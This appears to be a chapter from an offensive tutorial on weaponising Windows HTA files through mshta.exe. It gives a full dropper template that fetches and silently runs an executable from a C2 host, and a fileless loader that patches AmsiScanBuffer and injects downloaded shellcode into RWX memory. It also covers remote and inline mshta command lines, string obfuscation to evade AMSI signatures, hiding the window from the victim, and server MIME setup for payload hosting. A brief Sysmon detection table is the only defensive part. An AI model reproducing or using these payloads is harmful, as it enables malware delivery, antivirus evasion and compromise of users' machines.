HTA (HTML Application) Files
An HTA file is an HTML page executed by mshta.exe — Microsoft's HTML Application Host. Unlike a browser, mshta.exe runs with no sandbox, grants full COM access to VBScript and JScript, and gives scripts the same privileges as the user. A single .hta file can download files, spawn processes, create registry keys, and access the filesystem with no warnings or security prompts — all from what looks like an HTML document. This chapter explains the HTA execution environment, builds HTA payloads that cover every delivery scenario, covers mshta.exe remote execution, teaches obfuscation to defeat AMSI and signature scans, and maps the complete detection surface.
HTA Execution Model — Why It's Powerful
BROWSER (Chrome, Edge, Firefox) — running an HTML page:
─────────────────────────────────────────────────────────────────────────
Sandbox: YES — renderer process sandboxed, limited OS access
JavaScript: YES — web APIs only, no COM/ActiveX
VBScript: NO — modern browsers dropped VBScript support
File access: NO — sandboxed; can only access files user explicitly selects
Registry: NO — no registry access from browser JavaScript
Process spawn: NO — browser doesn't allow spawning OS processes
COM objects: BLOCKED — ActiveX blocked by modern browsers
Security zone: YES — applies Zone security checks
mshta.exe — running the same content as an .hta file:
─────────────────────────────────────────────────────────────────────────
Sandbox: NONE — runs with full user privileges
JavaScript: YES — JScript via Windows Scripting Host engine
VBScript: YES — VBScript fully supported and default scripting language
File access: FULL — read/write/delete any file the user can access
Registry: FULL — read/write registry with user's permissions
Process spawn: FULL — WScript.Shell.Run(), Shell.Application.ShellExecute()
COM objects: FULL — any COM object, any registered ActiveX control
Security zone: MINIMAL — HTA runs in "My Computer" zone (highest trust)
─────────────────────────────────────────────────────────────────────────
The HTA application declaration in the HTML head:
<HTA:APPLICATION
id="oHTA"
applicationname="Document Viewer"
border="none"
borderstyle="normal"
caption="yes"
contextmenu="no"
innerborder="no"
maximizebutton="no"
minimizebutton="yes"
navigable="no"
scroll="no"
scrollflat="no"
selection="no"
showintaskbar="no"
singleinstance="yes"
sysmenu="yes"
version="1.0"
windowstate="minimize"
/>
These attributes control the window appearance. windowstate="minimize"
is critical — makes the HTA window minimize immediately on load so the
victim doesn't see a window flash and disappear.HTA Execution Methods
Method 1: Local File Execution
Victim double-clicks payload.hta → mshta.exe runs it
OR:
mshta.exe payload.hta (from LNK argument, another script, etc.)
OR:
mshta.exe "C:\Users\victim\AppData\Local\Temp\payload.hta"
Method 2: Remote URL Execution (Most Useful)
mshta.exe https://c2.example.com/loader.hta
This:
1. mshta.exe makes an HTTP(S) GET request to the URL
2. Downloads the HTA content (Content-Type: application/hta)
3. Executes it in the mshta.exe context — no file saved to disk
From a LNK file:
Target: C:\Windows\System32\mshta.exe
Arguments: https://cdn.example.com/assets/v2/loader.hta
From a VBA macro:
Shell "mshta.exe https://c2/loader.hta", 0
From cmd.exe:
cmd /c mshta.exe https://c2/loader.hta
The remote execution path means:
• No HTA file on disk (only on your C2)
• Download happens from mshta.exe → visible in Sysmon 3 + 22
• Content-Type must be "application/hta" for mshta to execute remotely
Method 3: Inline VBScript from Command Line
mshta.exe vbscript:Execute("Shell ""cmd /c whoami"":Close")
This executes inline VBScript from the command line argument.
No file required at all — the payload is in the command line.
Limitation: LNK argument limit (~4096 chars) constrains payload size.
Detection: cmdline contains "vbscript:" is a high-signal indicator.
Method 4: JavaScript from Command Line
mshta.exe javascript:a=new%20ActiveXObject('WScript.Shell');a.Run('calc.exe');close()
Same as VBScript inline but with JScript.
URI-encoded spaces (%20) often needed for command line parsing.
HTA Payload Structure — Full Template
<html>
<head>
<HTA:APPLICATION
id="xApp"
applicationname="System Update"
windowstate="minimize"
showintaskbar="no"
border="none"
/>
<script language="VBScript">
' ── Auto-run on load ──────────────────────────────────────────────────
Sub Window_OnLoad()
Call Main()
Self.Close ' Close the HTA window immediately after running
End Sub
' ── Main payload ──────────────────────────────────────────────────────
Sub Main()
' Method 1: Download and execute (dropper pattern)
Dim wsh, xhr
Set wsh = CreateObject("WScript.Shell")
Set xhr = CreateObject("MSXML2.ServerXMLHTTP.6.0")
' Download stage 1
Dim url : url = "https://cdn.example.com/assets/v2/s1.bin"
xhr.Open "GET", url, False
xhr.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
xhr.Send
If xhr.Status = 200 Then
' Save to disk (dropper path)
Dim path : path = wsh.ExpandEnvironmentStrings("%TEMP%") & "\svcupdate.exe"
Dim stream : Set stream = CreateObject("ADODB.Stream")
stream.Type = 1 : stream.Open
stream.Write xhr.responseBody
stream.SaveToFile path, 2
stream.Close
' Execute silently
wsh.Run Chr(34) & path & Chr(34), 0, False
End If
End Sub
</script>
</head>
<body>
<!-- Empty body — the window is minimized anyway -->
</body>
</html>
Fileless HTA — Memory-Only Shellcode Injection
The most capable HTA payload: use P/Invoke-style API calls from VBScript to allocate memory and execute shellcode without writing any file to disk:
<html><head>
<HTA:APPLICATION windowstate="minimize" showintaskbar="no" />
<script language="VBScript">
' ── API declarations ──────────────────────────────────────────────────
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" ( _
ByVal a As LongPtr, ByVal s As Long, ByVal t As Long, ByVal p As Long) As LongPtr
Private Declare PtrSafe Sub RtlMoveMemory Lib "kernel32" ( _
ByVal d As LongPtr, ByRef s As Any, ByVal n As Long)
Private Declare PtrSafe Function CreateThread Lib "kernel32" ( _
ByVal a As LongPtr, ByVal s As Long, ByVal f As LongPtr, _
ByVal p As LongPtr, ByVal fl As Long, ByRef id As Long) As LongPtr
Private Declare PtrSafe Function WaitForSingleObject Lib "kernel32" ( _
ByVal h As LongPtr, ByVal t As Long) As Long
' ── AMSI bypass ───────────────────────────────────────────────────────
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" ( _
ByVal h As LongPtr, ByVal n As String) As LongPtr
Private Declare PtrSafe Function GetModuleHandleA Lib "kernel32" ( _
ByVal n As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" ( _
ByVal a As LongPtr, ByVal s As Long, ByVal p As Long, ByRef o As Long) As Long
Sub BypassAMSI()
Dim h As LongPtr, fn As LongPtr, op As Long
h = GetModuleHandleA("amsi.dll")
If h = 0 Then Exit Sub
fn = GetProcAddress(h, "AmsiScanBuffer")
If fn = 0 Then Exit Sub
VirtualProtect fn, 8, &H40, op
Dim patch(2) As Byte : patch(0) = &H31 : patch(1) = &HC0 : patch(2) = &HC3
RtlMoveMemory fn, patch(0), 3
VirtualProtect fn, 8, op, op
End Sub
' ── Shellcode download and execute ────────────────────────────────────
Sub Main()
BypassAMSI
' Download shellcode
Dim xhr : Set xhr = CreateObject("MSXML2.ServerXMLHTTP.6.0")
xhr.Open "GET", "https://c2.example.com/sc.bin", False
xhr.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0)"
xhr.Send
If xhr.Status <> 200 Then Exit Sub
Dim sc() As Byte
sc = xhr.responseBody
Dim scLen As Long : scLen = UBound(sc) + 1
' Allocate RWX memory and copy shellcode
Dim addr As LongPtr
addr = VirtualAlloc(0, scLen, &H3000, &H40)
If addr = 0 Then Exit Sub
RtlMoveMemory addr, sc(0), scLen
' Execute
Dim hThread As LongPtr, tid As Long
hThread = CreateThread(0, 0, addr, 0, 0, tid)
If hThread Then WaitForSingleObject hThread, 15000
End Sub
Sub Window_OnLoad()
Main
Self.Close
End Sub
</script>
</head><body></body></html>
HTA Obfuscation
HTA content is scanned by AMSI when mshta.exe loads it (since Windows 10 v1803). VBScript content goes through the same AMSI path as Office VBA. The obfuscation techniques are similar:
' Technique 1: Chr() encoding of suspicious strings
' Instead of: CreateObject("WScript.Shell")
' Use:
Dim objName
objName = Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & _
Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108)
' = "WScript.Shell"
Set wsh = CreateObject(objName)
' Technique 2: String reversal
Function Rev(s)
Dim i, r
r = ""
For i = Len(s) To 1 Step -1
r = r & Mid(s, i, 1)
Next
Rev = r
End Function
' "llehS.tpircSW" reversed = "WScript.Shell"
Set wsh = CreateObject(Rev("llehS.tpircSW"))
' Technique 3: Environment variable expansion obfuscation
' Instead of: wsh.Run "powershell.exe ..."
' Use an env var that contains part of the command:
wsh.Run wsh.ExpandEnvironmentStrings("%COMSPEC%") & " /c ..."
' %COMSPEC% = C:\Windows\System32\cmd.exe — never appears in AMSI scan
' Technique 4: Execute via eval-equivalent in VBScript
' ExecuteGlobal runs a string as VBScript code
Dim code
code = Chr(87) & Chr(83) & Chr(104) & Chr(46) & Chr(82) & Chr(117) & Chr(110)
' Builds "WSh.Run" dynamically
ExecuteGlobal code & "(""calc.exe"", 0, False)"
Detection Footprint
Technique │ Sysmon events triggered
───────────────────────────┼──────────────────────────────────────────────────────────────
Local HTA double-click │ 1: mshta.exe started (parent: explorer.exe)
│ 7: jscript.dll / vbscript.dll loaded into mshta.exe
Remote URL HTA │ 1: mshta.exe started (parent varies by delivery method)
│ 3: mshta.exe → outbound HTTPS (to fetch the HTA)
│ 22: DNS query for the HTA host
VBScript XMLHTTP download │ 3: mshta.exe → C2 outbound connection
ADODB.Stream file drop │ 11: FileCreate — %TEMP%\svcupdate.exe
WScript.Shell.Run() │ 1: mshta.exe → spawned process (cmd, powershell, exe)
P/Invoke shellcode inject │ EDR: VirtualAlloc(RWX), CreateThread @ unbacked address
AMSI bypass patch │ EDR: write to amsi.dll text section
───────────────────────────┼──────────────────────────────────────────────────────────────
High-signal detection combos (SOC commonly alerts on):
──────────────────────────────────────────────────────────────────────────────────────
• mshta.exe + command-line contains "http" / "https" ← remote HTA execution
• mshta.exe + command-line contains "vbscript:" ← inline VBScript
• parent:mshta.exe → child:cmd.exe or child:powershell ← macro execution
• mshta.exe making outbound HTTPS connection ← remote HTA or download
• mshta.exe + VirtualAlloc(PAGE_EXECUTE_READWRITE) ← shellcode injection
Evasion of child-process detection:
──────────────────────────────────────────────────────────────────────────────────────
Using P/Invoke API calls from VBScript (like the fileless template above)
runs all code inside the mshta.exe process itself.
No child process = no parent:mshta.exe → child:X detection.
The remaining signals are: outbound network + memory events in mshta.exe.Questions & Answers
What content type does a web server need to serve HTA files for remote execution?
The server must return the Content-Type header application/hta for mshta.exe to execute the content directly. If the server returns text/html, mshta.exe will attempt to render it as a regular HTML page without the HTA security context. If the server returns application/octet-stream, mshta.exe may prompt to save or open the file. For Apache: add AddType application/hta .hta to httpd.conf. For nginx: add application/hta hta; to the MIME types block. When hosting on a CDN or cloud storage (S3, Cloudflare), configure the Content-Type metadata on the object explicitly. Without the correct MIME type, the remote execution path silently fails.
Does AMSI scan HTA content before execution?
Yes. As of Windows 10 v1803 (April 2018), AMSI was extended to cover scripting languages including VBScript and JScript. When mshta.exe loads an HTA file, the VBScript/JScript engine submits the script content to AMSI before executing it. This means malicious VBScript patterns (the same patterns AMSI catches in Office VBA) are also caught in HTA content. The bypass approach is the same: patch AmsiScanBuffer in the mshta.exe process before the script is scanned. The challenge is that the patch must happen during initialization — if AMSI scans the script on load, the patch code itself must not be detectable by AMSI. The Chr()-based string construction shown in this chapter is sufficient to obfuscate the initial AMSI bypass from static signature matching.
Can you use JScript instead of VBScript in HTA files?
Yes. HTA files support both VBScript and JScript (Microsoft's JavaScript implementation). The script tag's language attribute controls which engine is used: <script language="VBScript"> or <script language="JScript">. JScript in HTAs has the same full COM access as VBScript: var wsh = new ActiveXObject("WScript.Shell"); wsh.Run("cmd /c ...");. The window.onload equivalent in JScript is window.onload = function() { /* payload */ };. JScript may be slightly less scrutinized by AMSI rules trained on VBScript patterns, but it's equally capable and equally detected by modern AMSI providers.
What's the difference between mshta.exe and wscript.exe / cscript.exe for delivery?
Both execute Windows Script Host scripts, but with different contexts: wscript.exe/cscript.exe run .vbs and .js files directly, while mshta.exe runs .hta files that combine HTML structure with embedded scripting. The functional capabilities are similar — both have full COM access and no sandbox. The difference is in what they accept as input: mshta.exe can fetch and execute remote URLs directly from the command line; wscript.exe requires a local file (though the script can download content). From a delivery perspective, the mshta.exe + URL pattern is simpler and more powerful. From a detection perspective, both are well-monitored LOLBins in 2024. The choice between them often comes down to what the delivery vector (LNK argument, OneNote, etc.) most naturally produces.
Is there a way to make the HTA window completely invisible?
Yes, nearly: the combination of windowstate="minimize" (which minimizes to the taskbar) and showintaskbar="no" (which removes it from the taskbar) makes the HTA window effectively invisible. The window still exists in the process list — it's just not visible to the user. For complete visual invisibility, additionally call Self.ResizeTo 0, 0 and Self.MoveTo -4000, -4000 in the Window_OnLoad handler to push the window off-screen even before minimizing. As a final cleanup, Self.Close after the payload executes removes the window entirely. These combined techniques mean the user sees no visible window at any point during execution, though the mshta.exe process is still visible in Task Manager.